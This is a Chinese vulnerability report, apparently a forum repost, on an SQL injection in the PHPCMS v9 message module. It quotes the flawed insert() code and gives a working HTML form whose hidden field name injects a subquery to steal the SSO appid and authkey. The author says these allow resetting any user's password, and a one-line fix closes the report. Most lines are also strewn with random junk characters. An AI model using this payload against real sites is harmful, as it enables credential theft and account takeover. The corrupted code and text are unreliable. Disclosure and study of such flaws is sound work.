|
|
简要描述:3 P5 ?0 E4 ~5 T
/ G7 V0 r# I, u6 H' B1 P第二发如约来到,感谢大家的关注,在第二发中使用了一个无限制的SQL注射,最终目的可以修改任意用户密码,建议确认安全危害等级为高。
4 [4 l! S# V- Y" y' J y8 z7 g& X2 H9 W
明天再更新下一个漏洞。
6 a6 r2 ]0 x* X% F3 U8 a详细说明:- g( E* w, E8 Q
在/phpcms9/phpcms/modules/message/index.php中有代码如下:
9 Z. R: F( x! @" h# h0 g* [4 C! v, @9 n9 w5 O. I
$messageid = $this->message_db->insert($_POST['info'],true);- I' V$ h J0 Y# l) }* N p% L% g& H
( Y& T' h9 t# e3 ?4 b
& [8 T: ~* E3 s, o0 I8 ~" a
insert方法是key value的,代码如下:2 }% l- O L2 Q" V! q2 k
3 U* ~% J {- m5 ipublic function insert($data, $table, $return_insert_id = false, $replace = false) {! B) P3 b6 V. Q
if(!is_array( $data ) || $table == '' || count($data) == 0) {
5 [( k& {+ y- D7 ]- ~% s% W return false;- q2 {/ |+ |6 L
}4 }5 G% e! s Q6 K# }1 _& w' X- u
% A; ?0 j4 O. j7 ]/ S5 _( M& l0 q& d $fielddata = array_keys($data);
* w7 b% A2 V. {6 e& Q $valuedata = array_values($data);
0 X: j) i! e S* W; v7 I9 ]- p array_walk($fielddata, array($this, 'add_special_char'));( t8 V* s6 m, I! ~0 E3 A) V
array_walk($valuedata, array($this, 'escape_string'));
. S# E" K1 f. b: ~- k# @1 |: L ; I# E2 P4 _7 s% Q# V
$field = implode (',', $fielddata);! {+ p# C9 W& c
$value = implode (',', $valuedata);! N0 K& [- u6 S7 U) F& w3 o& r$ |" u- K
/ x8 F5 Q: |4 s5 i; u3 X0 o% C $cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';
$ @ M- h- K4 G" @ $sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')';, P4 q9 Y2 ~4 F% Z+ Z
$return = $this->execute($sql);" t% N' W# @ D
return $return_insert_id ? $this->insert_id() : $return;8 J7 v b5 f: v7 o; z/ N1 c
}) C$ Z1 y2 f: n6 L' T8 l. Z% V9 y* h7 t
6 m! ]% y8 d" H, a6 B J, }5 n7 N! s b6 L7 C& q; B8 m' r
嗯,很遗憾的是0 _- ?& R3 ~: S5 [1 Z/ M( x; a
v' A0 O4 N1 v/ l V: A" V1 _
array_walk($fielddata, array($this, 'add_special_char'));" {9 v3 S- {8 Y' ]$ H) b" C
1 p& x) C5 V+ z- x" l* Z' A' \( ?# G: @$ K$ l# m$ j
中并没有对key做任何的过滤,所以,第一段提到的代码导致了一个SQL注射漏洞 :(。
! [3 H/ l0 t8 E6 J( @2 Q+ V y! ]7 ?- [( s7 A0 Y3 B4 v# Y: L
到此,为了poc一下,我读取了我本地的authkey,接下来我已经可以重置任意用户密码了,后面的事情我就没有演示了。
2 U7 m" K4 @, H9 |/ o: \* I# D8 }% Y3 @; k( h
漏洞证明:7 T7 Z7 s9 {1 k' V' @, U
读出了phpsso_server的appid和authkey,然后可以调用client.class.php中的ps_member_edit函数修改任意用户密码。
% S @$ o6 ~0 |0 B$ E: Y$ N/ G4 f1 ^
/ h& E- Y+ S3 z( f) G6 _
表单如下:用户名什么的得自己改一改。5 j% ?: O( R9 @7 |6 s, F
<form name="myform" action="http://localhost/phpcms9/index.php?m=message&c=index&a=reply" method="post" id="myform">. n, r0 z i6 M- }5 g2 v& ~
<table width="100%" cellspacing="0" class="table_form">0 i& c% g, P: b/ V
<tr>- ^: v# W1 i: B# M' x
<th>标 题:</th>1 z3 X, N' m/ k- W
<td><input name="info[subject]" type="text" id="subject" size="30" value="Re: hh" class="input-text"/></td>
: ?+ g! `# L& R</tr> " u3 j0 z8 ^3 A) G E; {( A& t$ w
<tr>, Z) k3 { k) C0 {
<th>内 容:</th>
% a* @3 e6 [* P<td><textarea name="info[content]" id="con" rows="5" cols="50"></textarea></td>
& W0 o# I: }6 `3 x$ Q6 s$ V</tr>
2 i0 W6 ^: f2 f) O7 e<input type="hidden" name="info[replyid]" value="2" /> 6 k$ E& f' W: G5 m# I
<input type="hidden" name="info[send_to_id]" value="cc" />
, P9 { [$ ]# u4 n: |/ b9 R<input type="hidden" name="info[send_from_id]" value="hh">
# _/ s- h1 Z3 R% m4 z<!-- 漏洞的利用重点在这里开始 -->
4 ?, i8 R& Y V% w! e* O2 I0 y1 O<input type="hidden" name="info[`status`) values ((Select group_concat(appid,CHAR(42),authkey) from v9_sso_applications),1,1,1,CHAR(104, 104),1)#]" value="cc" />
. a. X4 [6 |) D& A<!-- 漏洞的利用重点在这里结束 -->9 O9 W: j# r$ I/ X
<tr>
* J3 {4 M/ q2 m' i/ g4 r0 @<th>验证码:</th>
8 d) b! J4 u5 P4 [& O" K8 W<td><input name="code" type="text" id="code" size="10" class="input-text"/> <img id='code_img' onclick='this.src=this.src+"&"+Math.random()' src='http://localhost/phpcms9/api.php?op=checkcode&code_len=4&font_size=14&width=110&height=30&font_color=&background='></td>
& J' F; n& M9 U/ A: x, P4 T. ]3 P</tr>
! U) ^( s2 S8 Y1 c<tr>8 G! U3 g& n8 q5 D( {! }- f
<td></td>
}$ g3 K/ x+ c+ u; E<td colspan="2"><label>
1 E, g" i+ n* s3 W<input type="submit" name="dosubmit" id="dosubmit" value="确 定" class="button"/>. Q- w' s) d9 v' o$ {/ K3 C
</label></td>
# @5 A2 G6 u, A) M; W- L4 Z% h</tr>
2 }! S) E/ L! P</table>+ P e5 ^( E- I& \/ z3 n
</form>
# k* D: r3 q2 G在add_special_char函数内对key做过滤就可以了。
+ E& a+ d6 I2 v6 E; v2 J7 d+ R4 @" o+ N J( n. x
4 P$ _0 C" N7 Y/ D+ Z0 H
$ j# P2 o* Z( u. Y& [ |
本帖子中包含更多资源
您需要 登录 才可以下载或查看,没有帐号?立即注册
x
|